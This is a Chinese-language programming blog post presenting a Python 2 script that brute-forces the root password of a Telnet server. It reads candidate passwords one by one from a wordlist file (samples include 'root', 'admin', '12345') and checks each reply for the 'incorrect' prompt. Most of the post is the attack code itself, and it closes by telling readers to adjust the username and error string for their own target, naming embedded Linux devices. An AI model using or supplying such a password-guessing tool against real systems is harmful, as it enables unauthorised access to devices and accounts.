1. 程式人生 > >Python實現Telnet自動連線檢測密碼

Python實現Telnet自動連線檢測密碼

最近在學習Python網路相關程式設計,這個程式碼實現了Telnet自動連線檢測root使用者密碼,密碼取自密碼本,一個一個檢測密碼是否匹配,直到匹配成功,螢幕輸出停止。

程式碼如下:

#encoding=utf-8
import telnetlib
import time
import sys
import os

def do_telnet(Host, Port, username, password, finish):
    #連線Telnet伺服器
    tn = telnetlib.Telnet(Host, Port, timeout=1)
    tn.set_debuglevel(3)
    
    #輸入登入使用者名稱
    tn.read_until("login: ")
    tn.write(str(username)+'\n')
    
    # 輸入登入密碼
    tn.read_until("Password: ")
    tn.write(str(password)+'\n')
      
    # 判斷密碼錯誤提示,如果沒有這個提示說明登入成功
    if tn.read_until(finish):
       print "****** login incorrect!\n"
    tn.close();
    
if __name__=='__main__':
    Host = raw_input("IP:")           # Telnet伺服器IP
    Port = raw_input("Port:")        # Telnet伺服器埠
    username = 'root'          # 登入使用者名稱
    finish = 'incorrect'       # 密碼錯誤提示
    pw_file = open('.\\pw.txt','r+') #密碼檔案
    Index = 0
    print time.asctime(),":   ****** begin","\n"
    while True:
        password = pw_file.readline()
        Index +=1;
        print Index,time.asctime(),":   ****** try","",username,":",password,""
        if len(password) == 0:
            break;
        do_telnet(Host, Port, username, password, finish)
    pw_file.close();
密碼本pw.txt,內容例如:
root
admin
12345
888888


輸出如下:



注:我這邊測試的目標主機是嵌入式linux系統,使用者名稱是root,密碼錯誤返回的是incorrect提示。你可能要根據目標系統不同修改使用者名稱和錯誤提示。